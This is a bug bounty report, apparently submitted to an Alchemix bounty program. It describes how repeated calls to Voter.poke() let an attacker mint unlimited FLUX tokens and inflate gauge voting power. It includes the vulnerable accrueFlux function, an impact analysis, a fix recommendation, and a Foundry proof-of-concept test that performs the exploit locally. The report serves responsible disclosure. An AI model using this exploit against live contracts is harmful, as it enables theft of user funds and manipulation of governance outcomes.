31541 - [SC - Critical] FluxTokens unlimited mint and Exploitation of g...
Submitted on May 21st 2024 at 04:17:49 UTC by @cryptoticky for Boost | Alchemix
Report ID: #31541
Report type: Smart Contract
Report severity: Critical
Target: https://github.com/alchemix-finance/alchemix-v2-dao/blob/main/src/FluxToken.sol
Impacts:
Theft of unclaimed yield
Direct theft of any user funds, whether at-rest or in-motion, other than unclaimed yield
Manipulation of governance voting result deviating from voted outcome and resulting in a direct change from intended effect of original results
Description
Brief/Intro
FluxToken's unlimited mint and Exploitation of gauge voting results using it
Vulnerability Details
The Poke function can be executed several times within an epoch.
The poke function calls Voter._vote function and _vote function calls
IFluxToken(FLUX).accrueFlux(_tokenId)
.
FluxToken.accrueFlux
/// @inheritdoc IFluxToken
function accrueFlux(uint256 _tokenId) external {
require(msg.sender == voter, "not voter");
uint256 amount = IVotingEscrow(veALCX).claimableFlux(_tokenId);
unclaimedFlux[_tokenId] += amount;
}
This function does not check for multiple calls within one epoch.
Impact Details
1. mint a substantial quantity of flux tokens
As soon as a user calls the poke function, the value of unclaimedFlux increases. Consequently, an attacker can obtain an unlimited amount of flux tokens. The attackers can wait until their locked bpt expires and then withdraw, enabling them to mint a substantial quantity of flux tokens.
Alternatively, they can withdraw before expiration. In this case, the profits gained by the attacker far outweigh any applicable penalties.
2. Secure the majority of the reward tokens
Simultaneously, the attacker can use the acquired flux tokens to obtain a significant voting boost. As a result, the attacker can secure the majority of the reward tokens.
Recommendation
According to the epoch, it is necessary to modify the acrueFlux function so that users can receive flux for each epoch.
Proof of Concept
// SPDX-License-Identifier: GPL-3
pragma solidity ^0.8.15;
import "./BaseTest.sol";
contract BugPokePoC is BaseTest {
function setUp() public {
setupContracts(block.timestamp);
}
// An attacker can use Voter.accrueFlux function to mint the fluxToken indefinitely.
function testBugAccrueFlux() public {
address attacker = beef;
uint256 tokenId = createVeAlcx(attacker, TOKEN_100K, MAXTIME, false);
address bribeAddress = voter.bribes(address(sushiGauge));
address[] memory pools = new address[](1);
pools[0] = sushiPoolAddress;
uint256[] memory weights = new uint256[](1);
weights[0] = 5000;
hevm.prank(attacker);
voter.vote(tokenId, pools, weights, 0);
hevm.warp(newEpoch());
voter.distribute();
console.log("before flux amount: ", flux.balanceOf(attacker));
{
hevm.startPrank(attacker);
uint256 unclaimedFlux = flux.getUnclaimedFlux(tokenId);
uint256 oldUnclaimedFlux = unclaimedFlux;
console.log("unclaimedFlux: ", unclaimedFlux);
// designed max totalPower
uint256 totalPower = veALCX.balanceOfToken(tokenId) + unclaimedFlux + veALCX.claimableFlux(tokenId);
console.log("correct max totalPower: ", totalPower);
for(uint256 i; i < 5; i++) {
voter.poke(tokenId);
unclaimedFlux = flux.getUnclaimedFlux(tokenId);
console.log("unclaimedFlux: ", unclaimedFlux);
}
hevm.warp(newEpoch());
voter.distribute();
console.log("correct max totalPower: ", veALCX.balanceOfToken(tokenId) + oldUnclaimedFlux + veALCX.claimableFlux(tokenId));
console.log("misused max totalPower: ", veALCX.balanceOfToken(tokenId) + unclaimedFlux + veALCX.claimableFlux(tokenId));
voter.vote(tokenId, pools, weights, unclaimedFlux + veALCX.claimableFlux(tokenId));
hevm.warp(newEpoch());
voter.distribute();
//It takes a considerable amount of time to implement this block, so I blocked it for now.
//If is not enough due to the current code, you can open and run the blocked code.
{
// hevm.warp(block.timestamp + MAXTIME);
//
// veALCX.startCooldown(tokenId);
//
// hevm.warp(block.timestamp + 1 weeks + 1);
//
// voter.reset(tokenId);
// veALCX.withdraw(tokenId);
// console.log("after flux amount: ", flux.balanceOf(attacker));
}
hevm.stopPrank();
}
}
}
Last updated
Was this helpful?